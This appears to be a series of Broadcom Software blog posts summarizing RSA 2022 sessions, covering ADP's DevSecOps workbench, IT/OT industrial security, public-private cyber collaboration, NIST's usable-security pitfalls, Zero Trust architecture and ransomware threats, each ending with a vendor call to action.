ADP’s solution was an enterprise-scale DevSecOps fabric that would bridge the silo mentality through shared infrastructure and an extensible framework. The layered architecture enables developers to plug-in their preferred development tech stacks and CI+CD frameworks while also processing and managing security vulnerabilities from diverse scanners and security information sources. The team built a software workbench out of both stock components and open source tools, ensuring a standardized way to display vulnerabilities along with a uniform approach for packaging scanner elements into docker images. The current focus is on integration with Jenkins-based pipelines, but the enterprise DevSecOps workbench is designed to expand to others, as needed.
One of the central pillars of the ADP enterprise DevSecOps framework is creating linkages between repositories and projects and relevant products and product teams based on machine readable meta-data. The goal was to enable fine-grained vulnerability reporting at the repository and artifact level as well as to expose the extent of security maturity across divisions and products.
“This was a big part of our design,” said Gaurav Bhargava, ADP’s director of product management, developer experience, adding that they created a web GUI to connect relevant artifacts to teams and products, so people are keyed into what’s relevant to their projects. “It’s a big part of the culture change—it lets them start using the platform and addressing these issues,” he added.
Takeaways and lessons learned
Along with the Workbench tool, the ADP leaders outlined several best practices to facilitate the requisite culture change:
Gain stakeholder buy-in. It’s important to get everyone, from development teams to leadership, on the same page. ADP built a proof-of-concept to illustrate the advantages of enterprise-scale DevSecOps, which helped foster buy-in.
Get clarity on the specifics. Make sure selected tools support the various teams’ requirements and tech stacks while gaining consensus on how security vulnerabilities should be surfaced. Enlist champions and establish regular feedback mechanisms.
Develop a process for remediation timelines and priorities. Not every security issue is easily fixed so it’s critical to have an agreed-upon tracking and remediation process. Training and office hours were an important part of this exercise.
Mishra caution that the process is a marathon, not a sprint. “We’ve been at this for 18 months and we’re getting to a certain level of maturity,” he noted. “However, there are always new threats, new issues, new analyses, but we’ve established a baseline.”
To learn more on how Broadcom Software can help you modernize, optimize and protect your enterprise, contact us here.
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RSA 2022: Cyber-Physical War: When the Cyber and Physical Environments Collide
Enterprises can combat a surge in attacks, but it requires crossing a chasm of misunderstanding separating OT professionals from their IT counterparts
In eight minutes, a bad actor can take control of an offshore oil drilling facility.
Take that factoid in for a moment. Because that’s what’s at stake when the worlds of information technology (IT) and operational technology (OT) converge. This is a trend that’s been underway for several years – as per this Broadcom Software blog from back in 2018 – but according to Ian Bramson, global head for industrial cybersecurity at the ABS Group, we’re now at an inflection point.
“Attacks are increasing and the bad guys know how to attack the industrial environment,” said Bramson, during a presentation he gave at the 2022 RSA Conference this week.
Clearly, we’re watching an increase in the size and scope of attacks against physical infrastructure – most notably the audacious takedown of Colonial Pipeline. At the same time, malicious hackers, cybercriminals, and rogue nation-states have become increasingly emboldened, carrying out copycat attacks. In the last year alone, Bramson said, “90% of organizations that use OT systems have experienced some sort of cyber incident.”
To fight back requires crossing a chasm of misunderstanding that divides OT professionals from their IT counterparts and resolving the internal conflicts between the widely different worlds of IT and OT, he asserted.
“People are frustrated,” said Bramson. “You’re either on the IT side, and you don’t know OT things, or you’re in operations, and you don’t want people to touch your stuff. You have to bridge that. It’s not convergence, it’s a fight right now,” said Bramson.
Mars and Venus: IT and OT
The first step to understanding involves recognition of differences. OT, used to run steel mills, oil refineries, and assembly lines, is vital for industrial companies to function, but is in many cases decades old and was never designed to be connected to networks. IT however, changes quickly and is typically designed with networking built in. And while IT systems can be taken offline for upgrades, a power plant could cost a million dollars per day if it were to be taken offline. Above all, IT and OT were not designed to work together. “You can’t put IT stuff on an OT network. It will bring it down,” said Bramson.
Even though the technologies and mindsets are different, the two realms are merging in the form of new inventions like autonomous oil tankers. The only way to protect such emerging environments from falling into the hands of bad actors is for OT and IT to work together. Along that path, there are many hurdles to overcome, according to Bramson.
The Supply Chain is Vulnerable
Industrial companies build their machinery with components that arrive via a supply chain. But an attacker can slip malware into the components and subcomponents as they make their way to a factory or power station. “If you’re not checking stuff, … it’s like running a relay race with a stick of dynamite,” said Bramson. “You have to understand security by design,” he advised. That means choosing vendors carefully, and developing a cyber map of supply chain operations, including manufacturing, delivery, contracts, incident response, and forensics, said Bramson.
And while creating a resilient supply chain that includes alternate suppliers and shipping methods has many benefits, the same resiliency can open cybersecurity vulnerabilities because alternate routes and contingencies can be exploited by attackers, Bramson asserted.
Insure This?
One area that is languishing in misunderstanding is insurance. While vital to protect against catastrophic losses, industrial insurance against adverse cybersecurity events is in a poorly developed state, according to Bramson. “Insurers don’t have any idea how to underwrite this stuff,” he said. For example, he explained, an insurer might consider an attack on critical infrastructure an act of war, and therefore not covered under a conventional policy. The only hope of communicating effectively with insurers is to express policy needs in terms of risk and compliance, which insurers typically understand, Bramson recommended.
The Future Belongs to OT
To acquire and deploy cybersecurity technology, funding is needed. To that end, IT leaders should adopt the strategy of learning about OT to increase their chances of gaining funding for security initiatives, Bramson said. Because OT is usually vital to a company’s identity and profitability, corporate leaders are more likely to approve OT budgets rather than IT budgets that include security provisions. “Get closer to the operational side. That’s your revenue base,” Bramson advised. Then at budget time, he continued, don’t express the need for funds in terms of technology. “Don’t talk tech. They don’t understand it…. Communicate in business terms to the board of directors.”
As for the future, OT cybersecurity will overtake IT cybersecurity as the priority for industrial companies, Bramson predicted, because OT is where risk is tied directly to revenue. He said companies are asking OT cybersecurity managed services to also provide their IT cybersecurity.
That means for IT professionals working at industrial organizations, learning all about OT is critical, Bramson said. “If you don’t know about it, find a partner that knows their stuff.”
To learn more on how Broadcom Software can help you modernize, optimize and protect your enterprise, contact us here.
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RSA 2022: Cybersecurity as a National Security Imperative – it’s Everyone’s Job
Success depends on continuing momentum behind collaboration between public, private sectors
Broadcom Software knows that cybersecurity is becoming a national security imperative, with ransomware attacks creating cascading impacts to government, industry, and citizens alike. So, what can we do about it?
That was the question taken up by key individuals who head federal government initiatives aimed at making cybersecurity a priority, not just to protect infrastructure and the engines running the nation’s economy, but to ensure public understands their role matters, too.
Speaking at the RSA session Cybersecurity as a National Security Imperative, Jen Easterly, the director of the Cybersecurity and Infrastructure Security Agency (CISA), said we are entering uncharted water when it comes to bringing the private and public sectors together to combat bad online actors. Her agency was newly minted to orchestrate this effort, which she acknowledged was a challenge considering the bureaucratic pace of government and its resistance to change. The key, she said, is collaboration to build trust.
“We are implementing an operational and collaborative model, where sharing information in real time via Slack, and a way the government and the private sector has never done before,” she said. “Trust is about building responsiveness, humility, and gratitude. Everything we do is in the spirit of wanting to add value, so let’s do it collectively in the defense of the nation.”
Broadcom Software knows that cybersecurity is becoming a national security imperative, with ransomware attacks creating cascading impacts to government, industry, and citizens alike.
Chris Inglis, the first National Cyber Director in the U.S., agreed. Collaboration, he said, “is not the icing on the cake, it is the cake.” The first real evidence of multi-agency and private-public collaboration was seen in the early days of Russia’s invasion of Ukraine. The U.S. provided “rich, granular intelligence” to private sector partners in Ukraine to help them in their strategy against the attack. “That collaboration, that professional intimacy, is essential for going forward,” he said.
Getting dozens of actors to sync together over cybersecurity threats is “a sea change” from where things stood before, said Easterly. CISA, the agency she leads, is in the beginning stages to accelerate the ongoing transformation. They plan to hire 2,000 remote employees, installed a chief people officer to help its workforce integrate with the private sector, and budgeted $1 billion in grants to help small organizations, like rural hospitals, strengthen their cybersecurity efforts. “The goal is not prevention. We need to ensure we are building systems and architecting infrastructure and developing people to make sure they detect things earlier and drive down risk,” she said.
The people component of those efforts is critical, said Rob Joyce, Director of the National Security Agency’s Cybersecurity Directorate. “We constantly talk about the way the advanced threats and ransomware actors have had success through known vulnerabilities,” he said. “Everyone needs to get to that basic level to take care of the unlocked doors.”
The measures people and organizations can take are simple, they said. They include:
Improving your password hygiene by using tools like a password keeper.
Updating your software.
Checking twice before clicking suspicious links.
Implementing multi-factor authentication.
Demanding that all tech companies implement multi-factor authentication.
In other words, making sure doing the right thing is easier than doing the wrong thing. Easterly said that a continuing issue is education. “We don’t communicate these concepts very well,” said. “At the end the day, it is the individual’s responsibility … These are not very complicated things to do.”
To learn more on how Broadcom Software can help you modernize, optimize and protect your enterprise, contact us here.
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RSA 2022: Don’t Blame Security Users
NIST’s Julie Haney identifies 8 cybersecurity pitfalls that the security industry needs to correct
In 2009, the Department of Homeland Security identified 11 problems in information security research. One was the idea of usable security. An area that Broadcom Software knows is very important.
The DHS report said that security must be usable by everyone from garden-variety non-technical users to experts and system administrators. Furthermore, the systems must be usable while maintaining security.
More than a decade later, not much has changed.
For Julie Haney, a computer scientist with the National Institute of Standards and Technology (NIST), the stalled progress shouldn’t be a surprise because it reflects the security community’s rigid insistence on technology as the solution to all security issues to the exclusion of all else.
“Despite having a noble list of intentions, you and your colleagues might be falling victim to some common pitfalls that, in reality, end up preventing people from achieving their full potential of being active and informed partners in security,” Haney told attendees during a presentation at the RSA 2022 conference.
But if the human element is so key, why does it so often get overlooked in the security conversation?
What’s more, without a greater appreciation for the human element in the security conversation – the nexus of social and individual factors that impact people's security behaviors and their adoption of security solutions – Haney was wary about expecting breaks in the logjam anytime soon.
“I had mixed success over the years and some of that mixed success was really because I didn't always consider the non-technical reasons why people at organizations might not adopt security best practices,” said Haney, who started her career as a security practitioner.
But if the human element is so key, why does it so often get overlooked in the security conversation?
Haney said change can come if the security world elevated the human element into consideration when developing and implementing security solutions. But that also requires security pros to sidestep common pitfalls that trip up progress.
Pitfall No. 1: The failure to adequately identify all of the users or stakeholders who might be impacted by security.
There’s a tendency to lump them all together without accounting for differences when the reality is that employees working in different business units often have very different security needs and behaviors. For example, scientists who value open collaboration will approach security very differently from an HR specialist, who has to deal with PII on a daily basis and is required to follow rigorous guidelines for protecting data.
Pitfall No. 2: Don’t assume that users are hopeless.
Haney recounted many conversations where she’s heard users referred to as the weakest link – or just stupid and who need to be told what to do by “the experts.” She said that type of attitude can lead to antagonistic scenarios in which security executives come across as being condescending and arrogant. “And we put people on the defensive and really create this negative perception of security,” she said. Instead of empowering people, the security folks wind up trying to scapegoat them.
Pitfall No. 3: Failure to tailor security communications to your audience.
Security experts have a difficult time explaining their field to non-experts, translating highly technical, often jargon-filled language into terms that their audience understands – especially if users don’t possess deep technical knowledge or skill levels. Haney said it’s up to the experts to make plain the connections to peoples’ jobs and personal lives. “But if we don't make that connection, then it really won't spur people's action,” she said. If you can't communicate policies and processes to people in a language they understand so they’re going to be receptive to your message, the entire exercise is pointless.
Pitfall No. 4: Putting too much burden on users.
Haney said people are already stretched thin, especially at work. Add on new security tasks that require major effort to master and you risk pushing them over the edge. Instead of better security, sensory overload results in people making mistakes and feeling frustrated.
Pitfall No. 5: Turning users into insider threats due to poor usability.
Studies show that stringent security measures can be viewed as counterproductive when they impede peoples’ day-to-day operations. As a coping mechanism, Haney said some employees might adopt less secure work routines or make risky decisions because they really don't understand the consequences of their actions.
Pitfall No. 6: Assuming that the most secure solution is the best solution.
Security practitioners obviously want things to be secure. That's their job. And so, they tend to default to the most secure solutions. But Haney cautioned against one size fits all approaches for all environments. Not everyone has the same risk level and bluntly forcing the same solutions into environments where it’s overkill can cause unforeseen impacts on the people that the security side ultimately is trying to support.
Pitfall No. 7: The use of punitive measures to get users to comply.
This is all about trying to scare people into action with a lot of negative messaging. If security is unusable and users are struggling for whatever reasons, why are we punishing them when they don't make good decisions? This might be appropriate in certain situations. But in most instances, this kind of negative messaging and punitive approach is counterproductive and turns people off from embracing security into their normal work routines.
Pitfall No. 8: Failure to consider user feedback and user-centric measures of effectiveness.
From a technology perspective, Haney said that security metrics and measuring security return on investment can be very difficult. Still, she said that organizations need to look at some user-centric security data points to understand user behaviors. What are people struggling with? Are they reporting problems? Is there an uptick in certain violations? The failure to incorporate this information only creates blind spots that prevent organizations from better understanding their own users.
To learn more on how Broadcom Software can help you modernize, optimize and protect your enterprise, contact us here.
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RSA 2022: Inside the Making of a Zero Trust Architecture
With more than 9 of 10 companies implementing Zero Trust, the NCCoE talks best practices
The 2022 RSA Conference is well underway and Broadcom Software is excited to be tracking some of the most important topics coming from the conference in San Francisco, CA.
One of the biggest topics is of course: Zero Trust. The recent explosion of cloud, mobile, and IoT has resulted in an environment without conventional network boundaries – and many experts believe Zero Trust is the answer to securing it.
Indeed, Zero Trust is a clear priority for stakeholders up and down the security hierarchy. Just yesterday, the Cloud Security Alliance (CSA) released a new study based on a survey of 800 IT and security professionals which found that 77% of respondents are increasing their spend on Zero Trust over the next year. In addition, 80% of C-level executives have Zero Trust as a priority for their organizations, and 94% are in the process of implementing Zero Trust.
These figures come as no surprise to the folks at the National Cybersecurity Center of Excellence (NCCoE), who held their session on June 06 at RSA titled, “Inside the Making of a Zero Trust Architecture.”
Bringing Zero Trust to Life
Speakers Alper Kerman and Scott Rose of the National Institute for Standards and Technology (NIST) – the lead authors/contributors of NIST’s Special Publication (SP) 800-207, Zero Trust Architecture – discussed the work they are doing at NCCoE to bring Zero Trust to life. Their aim? To remove the shroud of complexity around designing for Zero Trust with “how to” guides and example approaches to implementing a Zero Trust architecture (ZTA) for several common business cases.
For their project, “Implementing a Zero Trust Architecture,” NCCoE is collaborating with various industry participants – including heavy hitters AWS, Palo Alto Networks, CISCO, Google Cloud, Mandiant, Microsoft, IBM, and Broadcom Software – to demonstrate several approaches to a ZTA, all applied to a conventional enterprise IT infrastructure on premises and in the cloud. They’re testing all kinds of hybrid environment scenarios, from a remote employee accessing enterprise resources to cross-enterprise collaboration with business partners – all using commercially available technologies.
Through it all, they are learning what’s working, what’s challenging, and what companies might want to consider when designing and building a ZTA. The project will culminate in a NIST Cybersecurity Practice Guide: a publicly available description of the practical steps needed to implement the cybersecurity reference designs for Zero Trust.
In fact, the team has already drafted Volume A of their first Practice Guide, which is now online for public comment. This high-level publication, which explores what the project is about, the challenge it’s addressing, and how NCCoE’s solution addresses it, is meant to help leadership plan their journey toward ZTA. Volumes B and C, which dive deeper into the technology, will be released later this summer.
Can’t Wait to Read It. What Else Can I Do Today?
As the NCCoE continues to carry out its project, Kerman and Rose suggested a few steps security professionals can take today to move toward ZTA.
Right now: Do a thorough analysis of your environment, including your primary mission, business processes, primary workflows, and all resources. Think about your policy engine, administrator, enforcement point, and information points – and how you want to handle them.
Next quarter: Begin forming access policies for workflows. Identify gaps in technology, policy, and processes.
Next 6-12 months: Focus on low hanging fruit, with small bites at a time. “ZTA is a journey,” says Kerman. Also, address gaps in identity, compliance, and monitoring.
You can also stay informed about the NCCoE’s progress and findings, as well as get involved in future projects, but requesting to join a Community of Interest (COI) – a group of professionals and advisors that share business insights, technical expertise, challenges, and perspectives to guide NCCoE projects.
To learn more on how Broadcom Software can help you modernize, optimize and protect your enterprise, contact us here.
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RSA 2022: NSA Warns of Potential Ransomware Spillover from Ukraine War
Despite some successes against overseas ransomware groups, US intel agency expects morphing threat in months ahead
NSA Director of Cybersecurity, Rob Joyce came to the RSA 2022 conference with a warning about ransomware, that bears repeating: if you think it’s bad now, just wait. Broadcom Software agrees that this is an important message.
Joyce, who took over as NSA cyber chief last year, expects cyber spillover from the war in Ukraine as the Russian government leans on ransomware attackers to find ways to burrow past Western cyber defenses.
Cybersecurity Concerns
“One concern we have is that with the ongoing war in Ukraine, it could prompt Russian officials to turn to those same [ransomware] actors for cyberattack assistance,” he said during a presentation at the RSA 2022 conference on the current state of cybersecurity. “One thing to recognize about the ransomware ecosystem is that it's becoming increasingly sophisticated through specialization.”
One scenario could involve state-sponsored ransomware actors who put their technical skills to work in order pave the way for further infiltration by hackers more directly associated with Russia’s government to carry out espionage or other missions.
In the last several years, ransomware has turned into a major security challenge, moving from being a “lucrative, but niche area of cybercrime to probably the most dangerous threat facing enterprises.” Indeed, according to research by the Symantec Threat Hunter Team at Broadcom Software, organizations are facing an unprecedented level of danger from targeted ransomware attacks.
And as Joyce underscored in his presentation, ransomware now qualifies as a daunting national security threat, looming large in the Colonial Pipeline shutdown, which caused significant disruption and prompted concerns about the nation’s fuel supplies. Ransomware similarly featured in other major cyberattacks. In the same month as the Colonial Pipeline shutdown, an attack on Ireland’s national health service, forced it to cancel thousands of appointments and initiate a recovery operation.
The Future
Meanwhile, there’s growing concern that technical savvy displayed by ransomware hackers could soon wind up being put at the disposal of hostile governments.
“There are groups out there and all they do is seek initial access,” according to Joyce. “They're rattling doorknobs to try to break open the door. And then their job is done,” he said.
At that point, he said these same groups might sell these initial exploits to agencies within the Russian government to try and gain access “for the things they need.”
“And that's a real worry,” Joyce said.
Some Good News
Meanwhile, he disclosed that the US and its allies have fought back and successfully imposed “some costs” on malicious actors in Russia that sponsor ransomware attacks. Without offering more details, Joyce said the NSA has been able to eavesdrop on ransomware groups complaining that sanctions have blocked their ability to access their funds to build up their technical capabilities.
“They're finding it difficult to extract funds and get them converted...to buy the infrastructure they need to operate,” he said. “Now, that's not going to last….they'll adapt and they'll find new ways. But it does show that there are levers that can be applied to this problem. And over time, it's going to be those creative solutions across multiple layers that work against ransomware. So, is that a death blow to the ransomware actors in Russia? Definitively not. But we did impair them for a period of time.”
Ransomware is now a transnational threat beyond Russia and Joyce raised the prospect of other foreign threat actors working out of North Korea and China might be emboldened to try their hand at replicating the early successes enjoyed by Russian hacker groups.
“The concern now is that these state-sponsored actors watched that and said, “Can I get low hanging fruit like that?” he said.
Joyce said the future depends on how well government and the private sector can collaborate to make it harder on ransomware operations.
“This is financially motivated crime,” he said. “If you can prevent the extraction of their wealth, you can actually hurt their operations.”
To learn more on how Broadcom Software can help you modernize, optimize and protect your enterprise, contact us here.
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